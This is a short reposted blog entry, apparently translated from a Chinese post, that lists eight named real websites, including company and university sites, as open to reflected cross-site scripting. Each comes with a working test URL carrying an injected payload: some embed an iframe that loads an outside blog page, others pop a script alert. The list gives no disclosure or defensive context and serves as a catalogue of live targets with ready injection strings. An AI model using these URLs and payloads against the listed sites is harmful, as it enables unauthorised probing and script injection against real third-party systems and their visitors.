find xss

from :http://blog.sina.com.cn/s/blog_68d342d90100nh7b.html

 

什么是XSS跨站攻击:
http://baike.baidu.com/view/50325.htm
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://sqxhsp.com/news.asp?cat_id=11&types=企业新闻
XSS跨站漏洞测试页面:
http://sqxhsp.com/sever.asp?cat_id=58&types=<iframe src=http://blog.sina.com.cn/aboutshisan width=600 height=400></iframe>
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://www.zyfw365.com/newscontent.aspx?myclass=就业形式&title=就业形势好转 2010年新增就业目标900万人&infoid=435
XSS跨站漏洞测试页面:
http://www.zyfw365.com/newscontent.aspx?myclass=<iframe src=http://blog.sina.com.cn/aboutshisan width=600 heightt=400></iframe>&title=就业形势好转 2010年新增就业目标900万人&infoid=435
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://manage.hncc.edu.cn/more.asp?typeid=16&bigclass=
XSS跨站漏洞测试页面:
http://manage.hncc.edu.cn/more.asp?typeid=16&bigclass=<iframe src=http://blog.sina.com.cn/aboutshisan width=600 heightt=400></iframe>
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://jwc.xjmu.edu.cn/_help/Sorry.aspx?str=
XSS跨站漏洞测试页面:
http://jwc.xjmu.edu.cn/_help/Sorry.aspx?str=<script>alert('silic_tank')</script>
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://alpas.com/qiye/Product.asp?BigClassName=产品销售
XSS跨站漏洞测试页面:
http://alpas.com/qiye/Product.asp?BigClassName=产品销售<script>alert('silic_tank')</script>
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://www.yangheyuyang.com/error.asp?msg=
XSS跨站漏洞测试页面:
http://www.yangheyuyang.com/error.asp?msg=<script>alert('silic')</script>
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://www.3v.cm/error.asp?errmsg=
XSS跨站漏洞测试页面:
http://www.3v.cm/error.asp?errmsg=<script>alert('yf4n')</script>
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://www.blueidea.com/common/searchbykey.asp?keyword=painter
XSS跨站漏洞测试页面:
http://www.blueidea.com/common/searchbykey.asp?keyword=painter<script>alert('silic')</script>
posted @ 2018-06-22 09:31  yanhuidj  阅读(176)  评论(0编辑  收藏  举报